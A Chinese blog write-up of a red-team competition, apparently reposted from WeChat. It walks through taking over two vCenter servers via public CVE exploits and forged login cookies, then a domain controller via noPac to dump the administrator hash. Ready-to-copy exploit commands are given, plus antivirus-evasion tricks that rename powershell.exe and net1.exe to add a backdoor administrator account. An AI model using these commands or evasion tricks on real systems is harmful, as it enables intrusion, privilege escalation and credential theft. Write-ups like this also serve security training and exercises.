前言:
简单记录一下某次攻防比赛中过程,打了两个vcenter,一个域控,加上大量数据,出局该单位,内容比较简单,记录一下水一篇文章。
在内网中像这种vcenter,域控等集权设备应该多花点时间去研究,在得分方面比较可观。
由于比赛中没有过多截图记录,文章中有部分截图来自网络。
打vcenter:
第一个vcenter:
利用cve-2021-22005上传脚本(root权限)--利用python脚本在跳板机生成证书文件--本地解密证书文件获取cookie值--利用cookie值登陆后台
脚本获取shell:
https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py
proxychains python3 exp.py -t https://1.1.1.1 -s cmd.jsp
生成证书文件:
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
上传该脚本到目标机器上/storage/db/vmware-vmdir/路径下:运行该脚本:
python vCenter_ExtraCertFromMdb.py data.mdb
PS:这里注意的一点,机器有的python是python2,有的是python3,这里需要python3环境才能运行
这里会生成3个证书文件:
解密获取cookie:
将该3个证书文件下载到本地,运行下一个脚本获取cookie值:
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py
这里运行注意使用代理运行:
proxychains vCenter_GenerateLoginCookie.py 1.1.1.1 1.1.1.1 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt
这里会生成一个cookie值:
利用cookie登陆后台:
这里使用cookieeditor插件来编辑cookie
直接路径后面跟上/ui即可访问成功:
第二个vcenter:
cve-2021-21972漏洞获取权限(普通权限)--cve-2021-3156提权获取root权限--修改脚本获取证书文件--本地解密获取cookie值:
脚本获取shell:
https://github.com/NS-Sp4ce/CVE-2021-21972
proxychains python3 exp.py --url http://1.1.1.1
会获取到如下的shell:https://1.1.1.1/ui/resources/cmd.jsp
得到的是一个普通用户
提权:
这个环境是不出网的,但是提权需要一个交互式的shell,利用冰蝎打开一个交互式的shell:
直接利用CVE-2021-3156提权:
https://github.com/worawit/CVE-2021-3156
利用https://github.com/worawit/CVE-2021-3156/blob/main/exploit_userspec.py提权
直接运行python3 exploit_userspec.py会得到一个root权限的shell:
修改脚本获取证书文件:
后面也是利用上面的脚本想直接获取证书文件的,但是运行的时候报错了:
python3 vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb
报了如下错误:
Traceback (most recent call last):
File "12.py", line 647, in <module>
fw.write(trusted_cert_1)
TypeError: write() argument must be str, not None
这里我们其实把mdb文件下载到本地了,但是读取的时候还是报错了,这里也是定位到了报错的语句,修改了脚本。
在585行的这个if语句出现了问题:
这里直接把这个if语句删掉,再次运行,正常生成了证书文件
如果有遇到过类似情况的师傅,也可以尝试修改一下。
重复上面步骤:
有了证书文件,利用上面脚本获取了cookie值,成功拿下了这台vcenter:
打域控:
这里我们拿到的入口机是一台linux,通过信息收集,发现该环境中是存在域环境的
看了不少的报告,打域控方法居多的还是ms17010,cve2021-42287和cve2021-1472,这里也是利用cve2021-42287拿下的域控
这里顺便提一下,用cve2021-1472打的时候,尽量还是选择辅域控去打,如果没有辅域控就尽量不要打了。
获取域机器:
这里获取域成员机器我个人常用的是ms17010和数据库命令执行去拿域机器,ms17010的打法可以自行去了解。
这里利用mssql数据库的弱口令获取到了一台多网卡的域机器
bypass某绒的小技巧:
这里有个火绒,在这里说一下bypass某绒的两个小技巧
bypass上线:
上线的话直接利用powershell上线,利用cs生成powershell命令:
copy C:WindowsSystem32WindowsPowerShellv1.0powershell.exe bypass.txt
bypass.txt powershell命令
执行即可上线
bypass添加用户:
执行如下几条命令:
copy C:windowssystem32net1.exe net1.txt
net1.txt user test test /add
net localgroup administrators test /add
cve2021-42287拿域控:
上线之后,在该机器上随便抓取一个域用户密码即可:
proxychains python3 noPac.py test.com/test:'12345' --dc-ip 1.1.1.1 --dc-host test.com --impersonate administrator --dump
成功获取到administrator的hash
总结:
本文主要讲了vcenter的打法,这里也是直接把常用的脚本方法,命令贴了出来,初次打的师傅也可以直接复制就行了。
参考:https://daidaitiehanhan.github.io/2022/04/18/vCenter2021%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%8E%E6%B8%97%E9%80%8F/#CVE-2021-22005
https://github.com/worawit/CVE-2021-3156
原文始发于微信公众号(安全小子大杂烩):某攻防简单记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论